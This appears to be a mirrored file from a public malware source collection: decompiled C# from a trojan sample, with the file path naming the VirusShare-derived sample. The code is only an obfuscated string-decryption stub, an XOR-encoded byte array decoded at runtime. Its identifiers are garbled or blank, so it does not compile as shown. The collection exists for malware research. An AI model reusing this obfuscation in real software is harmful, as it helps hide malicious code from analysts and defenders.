mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2025-01-12 13:25:30 +00:00
f2ac1ece55
add
106 lines
4.4 KiB
C#
106 lines
4.4 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: <PrivateImplementationDetails>{23ED9F01-8245-40A4-AC9A-29A302398904}
|
|
// Assembly: ".\r", Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 6FD5AEF9-FB19-41DF-9B5C-1FE5CACB3CA5
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Inject.cgqc-89c303fd47724982704455e365787b3dd3f9ea67bfff669d2062c043e5a0cebe.exe
|
|
|
|
using System.Runtime.InteropServices;
|
|
using System.Text;
|
|
|
|
[StructLayout(LayoutKind.Auto, CharSet = CharSet.Auto)]
|
|
internal class \u003CPrivateImplementationDetails\u003E\u007B23ED9F01\u002D8245\u002D40A4\u002DAC9A\u002D29A302398904\u007D
|
|
{
|
|
internal static \u003CPrivateImplementationDetails\u003E\u007B23ED9F01\u002D8245\u002D40A4\u002DAC9A\u002D29A302398904\u007D. ;
|
|
internal static byte[] ;
|
|
internal static string[] = new string[5];
|
|
|
|
private static string (int _param0, int _param1, int _param2)
|
|
{
|
|
string str = Encoding.Default.GetString(\u003CPrivateImplementationDetails\u003E\u007B23ED9F01\u002D8245\u002D40A4\u002DAC9A\u002D29A302398904\u007D., _param1, _param2);
|
|
\u003CPrivateImplementationDetails\u003E\u007B23ED9F01\u002D8245\u002D40A4\u002DAC9A\u002D29A302398904\u007D.[_param0] = str;
|
|
return str;
|
|
}
|
|
|
|
public static string \u0020\u0007\u0010\u002C\u000F() => \u003CPrivateImplementationDetails\u003E\u007B23ED9F01\u002D8245\u002D40A4\u002DAC9A\u002D29A302398904\u007D.[0] ?? \u003CPrivateImplementationDetails\u003E\u007B23ED9F01\u002D8245\u002D40A4\u002DAC9A\u002D29A302398904\u007D.(0, 0, 1);
|
|
|
|
public static string M2() => \u003CPrivateImplementationDetails\u003E\u007B23ED9F01\u002D8245\u002D40A4\u002DAC9A\u002D29A302398904\u007D.[1] ?? \u003CPrivateImplementationDetails\u003E\u007B23ED9F01\u002D8245\u002D40A4\u002DAC9A\u002D29A302398904\u007D.(1, 1, 12);
|
|
|
|
public static string \u0010\u00046\u001E\u0029\u002Cw\u0018\u0016() => \u003CPrivateImplementationDetails\u003E\u007B23ED9F01\u002D8245\u002D40A4\u002DAC9A\u002D29A302398904\u007D.[2] ?? \u003CPrivateImplementationDetails\u003E\u007B23ED9F01\u002D8245\u002D40A4\u002DAC9A\u002D29A302398904\u007D.(2, 13, 9);
|
|
|
|
public static string \u007B\u003B\u008E\u0081\u0023\u000D() => \u003CPrivateImplementationDetails\u003E\u007B23ED9F01\u002D8245\u002D40A4\u002DAC9A\u002D29A302398904\u007D.[3] ?? \u003CPrivateImplementationDetails\u003E\u007B23ED9F01\u002D8245\u002D40A4\u002DAC9A\u002D29A302398904\u007D.(3, 22, 12);
|
|
|
|
public static string \u0040\u009CX1() => \u003CPrivateImplementationDetails\u003E\u007B23ED9F01\u002D8245\u002D40A4\u002DAC9A\u002D29A302398904\u007D.[4] ?? \u003CPrivateImplementationDetails\u003E\u007B23ED9F01\u002D8245\u002D40A4\u002DAC9A\u002D29A302398904\u007D.(4, 34, 24);
|
|
|
|
static \u003CPrivateImplementationDetails\u003E\u007B23ED9F01\u002D8245\u002D40A4\u002DAC9A\u002D29A302398904\u007D()
|
|
{
|
|
\u003CPrivateImplementationDetails\u003E\u007B23ED9F01\u002D8245\u002D40A4\u002DAC9A\u002D29A302398904\u007D. = new byte[58]
|
|
{
|
|
(byte) 72,
|
|
(byte) 34,
|
|
(byte) 47,
|
|
(byte) 57,
|
|
(byte) 34,
|
|
(byte) 40,
|
|
(byte) 34,
|
|
(byte) 92,
|
|
(byte) 82,
|
|
(byte) 79,
|
|
(byte) 38,
|
|
(byte) 47,
|
|
(byte) 40,
|
|
(byte) 43,
|
|
(byte) 50,
|
|
(byte) 35,
|
|
(byte) 52,
|
|
(byte) 53,
|
|
(byte) 84,
|
|
(byte) 63,
|
|
(byte) 48,
|
|
(byte) 49,
|
|
(byte) 63,
|
|
(byte) 59,
|
|
(byte) 38,
|
|
(byte) 48,
|
|
(byte) 34,
|
|
(byte) 58,
|
|
(byte) 71,
|
|
(byte) 71,
|
|
(byte) 88,
|
|
(byte) 51,
|
|
(byte) 4,
|
|
(byte) 5,
|
|
(byte) 9,
|
|
(byte) 7,
|
|
(byte) 8,
|
|
(byte) 99,
|
|
(byte) 30,
|
|
(byte) 61,
|
|
(byte) 47,
|
|
(byte) 49,
|
|
(byte) 39,
|
|
(byte) 49,
|
|
(byte) 48,
|
|
(byte) 44,
|
|
(byte) 35,
|
|
(byte) 52,
|
|
(byte) 118,
|
|
(byte) 11,
|
|
(byte) 63,
|
|
(byte) 40,
|
|
(byte) 51,
|
|
(byte) 40,
|
|
(byte) 44,
|
|
(byte) 60,
|
|
(byte) 53,
|
|
(byte) 34
|
|
};
|
|
for (int index = 0; index < \u003CPrivateImplementationDetails\u003E\u007B23ED9F01\u002D8245\u002D40A4\u002DAC9A\u002D29A302398904\u007D..Length; ++index)
|
|
\u003CPrivateImplementationDetails\u003E\u007B23ED9F01\u002D8245\u002D40A4\u002DAC9A\u002D29A302398904\u007D.[index] = (byte) ((int) \u003CPrivateImplementationDetails\u003E\u007B23ED9F01\u002D8245\u002D40A4\u002DAC9A\u002D29A302398904\u007D.[index] ^ index ^ 577613672);
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 58, Pack = 1)]
|
|
private struct
|
|
{
|
|
}
|
|
}
|